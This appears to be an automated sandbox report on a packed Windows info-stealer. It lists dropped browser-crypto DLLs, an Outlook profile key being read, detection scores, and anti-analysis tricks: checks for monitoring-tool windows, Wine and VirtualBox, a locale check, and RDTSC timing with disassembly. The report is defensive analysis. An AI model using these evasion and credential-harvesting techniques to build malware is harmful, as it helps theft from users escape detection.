Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFFB8E	0_2_00EFFB8E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F854ED	0_2_00F854ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF7494	0_2_00EF7494
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED0C62	0_2_00ED0C62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB8428	0_2_00EB8428
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F2CC39	0_2_00F2CC39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EBCD14	0_2_00EBCD14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F06E58	0_2_00F06E58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF8FA9	0_2_00EF8FA9

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00B345C0 appears 316 times

Source: file.exe, 00000000.00000002.2326834263.000000006C8A5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2326989550.000000006F8F2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: csmoxrcu ZLIB complexity 0.9945652947540237

Source: file.exe, 00000000.00000003.2019693058.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B48680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00B48680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B43720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00B43720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\D3COYSZW.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2310475911.000000001D813000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326726518.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2326444738.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2310475911.000000001D813000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326726518.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2326444738.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2310475911.000000001D813000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326726518.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2326444738.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2310475911.000000001D813000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326726518.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2326444738.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2310475911.000000001D813000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326726518.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2326444738.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2310475911.000000001D813000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326444738.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2310475911.000000001D813000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326726518.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2326444738.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2161416977.00000000015AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2158753944.000000001D70B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123641764.000000000155D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2139118603.000000001D718000.00000004.00000020.00020000.00000000.sdmp, AKECBFBAEBKJJJJKFCGC.0.dr, JKECFCFBGDHIECAAFIID.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2310475911.000000001D813000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326444738.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2310475911.000000001D813000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2326444738.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 44%
Source: file.exe	Virustotal: Detection: 53%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1842176 > 1048576

Source: file.exe

Static PE information: Raw size of csmoxrcu is bigger than: 0x100000 < 0x19ba00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2326943803.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2326726518.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2326726518.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2326943803.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.b30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;csmoxrcu:EW;cmowhcne:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;csmoxrcu:EW;cmowhcne:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B49860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00B49860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1ce38a should be: 0x1cd322

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: csmoxrcu
Source: file.exe	Static PE information: section name: cmowhcne
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F970EA push edi; mov dword ptr [esp], ebp	0_2_00F97110
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F970EA push esi; mov dword ptr [esp], ebp	0_2_00F97146
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push edi; mov dword ptr [esp], eax	0_2_00EFE0FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push edi; mov dword ptr [esp], ebp	0_2_00EFE1A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push esi; mov dword ptr [esp], ecx	0_2_00EFE1C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push edi; mov dword ptr [esp], eax	0_2_00EFE2C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push ebp; mov dword ptr [esp], eax	0_2_00EFE310
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push ecx; mov dword ptr [esp], edi	0_2_00EFE33B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push esi; mov dword ptr [esp], 77D9D582h	0_2_00EFE42A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push 1459B824h; mov dword ptr [esp], esi	0_2_00EFE47B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push 01361207h; mov dword ptr [esp], edi	0_2_00EFE500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push eax; mov dword ptr [esp], 79DF0BB1h	0_2_00EFE533
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push ebp; mov dword ptr [esp], 210110A9h	0_2_00EFE5B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push ebx; mov dword ptr [esp], edi	0_2_00EFE5D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push 599CEAB0h; mov dword ptr [esp], eax	0_2_00EFE6C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push ebx; mov dword ptr [esp], ebp	0_2_00EFE6D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push 6A07D920h; mov dword ptr [esp], ecx	0_2_00EFE7BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push esi; mov dword ptr [esp], eax	0_2_00EFE811
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push 0EA701EAh; mov dword ptr [esp], edi	0_2_00EFE924
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push edi; mov dword ptr [esp], eax	0_2_00EFE995
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push 71D4C600h; mov dword ptr [esp], edx	0_2_00EFE99F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push 77AD5800h; mov dword ptr [esp], ebx	0_2_00EFEA2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push ebx; mov dword ptr [esp], 4911AA68h	0_2_00EFEA7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push edi; mov dword ptr [esp], eax	0_2_00EFEAC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push edi; mov dword ptr [esp], ecx	0_2_00EFEB0A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push eax; mov dword ptr [esp], ebx	0_2_00EFEB0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push ebx; mov dword ptr [esp], 4F738CA0h	0_2_00EFEB13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push 7AE9619Ch; mov dword ptr [esp], ebx	0_2_00EFEB81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push ebp; mov dword ptr [esp], eax	0_2_00EFEBA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push 0BE32CA0h; mov dword ptr [esp], ecx	0_2_00EFEC94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFE0CC push ebp; mov dword ptr [esp], edx	0_2_00EFED34

Source: file.exe

Static PE information: section name: csmoxrcu entropy: 7.9533553454858845

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00B49860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13531

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B40E second address: F0B416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B416 second address: F0B41C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B41C second address: F0B424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B424 second address: F0B44A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5029365E18h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E09C second address: F0E0C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5028523959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jl 00007F502852394Eh 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E1A2 second address: F0E1A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E2B9 second address: F0E2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E2BD second address: F0E2F7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F5029365E13h 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D26A7h], eax 0x00000014 mov dh, ch 0x00000016 push 00000000h 0x00000018 mov ecx, dword ptr [ebp+122D298Fh] 0x0000001e call 00007F5029365E09h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push esi 0x00000027 pop esi 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E2F7 second address: F0E300 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E300 second address: F0E34E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 jp 00007F5029365E27h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5029365E18h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E34E second address: F0E354 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E354 second address: F0E3B8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F5029365E17h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push ecx 0x00000014 jmp 00007F5029365E0Ch 0x00000019 pop ecx 0x0000001a pop eax 0x0000001b mov dword ptr [ebp+122D24EFh], edi 0x00000021 push 00000003h 0x00000023 mov dword ptr [ebp+122D2D8Eh], ecx 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c push esi 0x0000002d mov di, 63F0h 0x00000031 pop edi 0x00000032 pop edi 0x00000033 push 00000003h 0x00000035 sub dword ptr [ebp+122D1F4Dh], ebx 0x0000003b push 9C7E887Ch 0x00000040 js 00007F5029365E10h 0x00000046 pushad 0x00000047 push edx 0x00000048 pop edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E3B8 second address: F0E402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xor dword ptr [esp], 5C7E887Ch 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F5028523948h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 movzx esi, cx 0x00000029 and edx, 3735C73Ah 0x0000002f lea ebx, dword ptr [ebp+1244FF8Dh] 0x00000035 or edx, dword ptr [ebp+122D2B1Bh] 0x0000003b xchg eax, ebx 0x0000003c push ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E402 second address: F0E406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
